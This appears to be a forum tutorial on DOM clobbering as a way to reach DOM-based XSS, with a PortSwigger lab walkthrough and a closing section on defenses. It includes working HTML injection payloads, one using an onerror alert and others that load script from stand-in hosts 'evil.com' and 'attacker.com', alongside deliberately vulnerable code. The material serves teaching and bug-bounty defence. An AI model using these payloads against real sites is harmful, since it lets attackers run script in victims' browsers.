- by x32x01 ||
😈 Exploiting DOM Clobbering to Achieve DOM-Based XSS
DOM Clobbering is one of the most underrated yet dangerous client-side attack techniques ⚠️It allows attackers to manipulate how JavaScript behaves without injecting scripts directly.
In many real-world applications, DOM clobbering is the missing link that turns harmless HTML injection into full DOM-based XSS 💥
🧠 What Is DOM Clobbering?
DOM clobbering happens when attacker-controlled HTML elements override or shadow JavaScript variables and DOM properties that the page relies on.Browsers automatically expose elements with id or name attributes as global variables on window.
Example:
HTML:
<div id="config"></div> JavaScript:
window.config 👉 Key takeaway:
Even if
<script> tags and event handlers are blocked, DOM clobbering still works - because it abuses how the browser builds the DOM.💥 How DOM Clobbering Leads to DOM-Based XSS
DOM-based XSS occurs entirely on the client side.The server never sees the payload 🚫
A common vulnerable pattern looks like this:
JavaScript:
let settings = window.settings || {};
let script = document.createElement('script');
script.src = settings.url;
document.body.appendChild(script); JavaScript:
<a id=settings></a>
<a id=settings name=url href="//evil.com/payload.js"></a> - window.settings becomes an HTMLCollection
- settings.url resolves to the href
- The browser loads attacker-controlled JavaScript
🧪 Real Lab Example: DOM Clobbering XSS (PortSwigger)
🔍 Scenario
A blog allows comments with limited “safe” HTML.It uses a sanitizer like DOMPurify and blocks scripts and event handlers.
Client-side code loads avatars like this:
JavaScript:
let defaultAvatar = window.defaultAvatar || {
avatar: '/resources/images/avatarDefault.svg'
}; <img> tag.🧠 Why This Is Vulnerable
The logic assumeswindow.defaultAvatar is either:- undefined
- or a safe JavaScript object
🧪 Working Exploit
Injected HTML: HTML:
<a id=defaultAvatar></a>
<a id=defaultAvatar name=avatar href='cid:"onerror=alert(1)//'></a> - Both anchors share the same
id - Browser creates an
HTMLCollection avatarproperty resolves to a crafted value- Value is injected into
<img src=""> onerrorexecutes → XSS triggered
🧩 Minimal DOM Clobbering XSS Example
Vulnerable Code
HTML:
<body>
<div id="comments"></div>
<script>
let conf = window.conf || {};
document.write('<script src="' + conf.script + '"></script>');
</script>
</body> Attacker Injection
HTML:
<a id=conf></a>
<a id=conf name=script href="//attacker.com/xss.js"></a> 🏆 Why DOM Clobbering Matters in Bug Bounty
DOM clobbering is extremely valuable because:- It escalates HTML injection to XSS 🔥
- It bypasses many popular HTML sanitizers
- It appears in modern frameworks and bundles
- It’s often overlooked by developers and scanners
🛡️ How to Defend Against DOM Clobbering XSS
Safe JavaScript Coding
- Avoid relying on
window.<name>globals - Use
const/letinside closures - Never trust
window.var || defaultpatterns
JavaScript:
if (
typeof conf !== 'object' ||
Object.getPrototypeOf(conf) !== Object.prototype
) {
conf = {};
} 🧹 Stronger HTML Sanitization
- Strip or restrict
idandnameattributes - Prevent collisions with global JS variables
- Do not rely on default sanitizer configs
🧱 Content Security Policy (CSP)
CSP limits damage even if clobbering succeeds: Code:
Content-Security-Policy: script-src 'self' https://trusted.cdn.com ❌ Does not stop clobbering itself
Still highly recommended.
🧪 Defensive Hardening Techniques
Lock critical globals: JavaScript:
Object.defineProperty(window, 'conf', {
configurable: false,
writable: false,
value: {}
}); 🔍 Final Summary
- DOM clobbering abuses browser behavior, not scripts
- It overrides global JavaScript references using HTML
- It often leads directly to DOM-based XSS
- Sanitizers alone are not enough
- Defensive coding + CSP is the real fix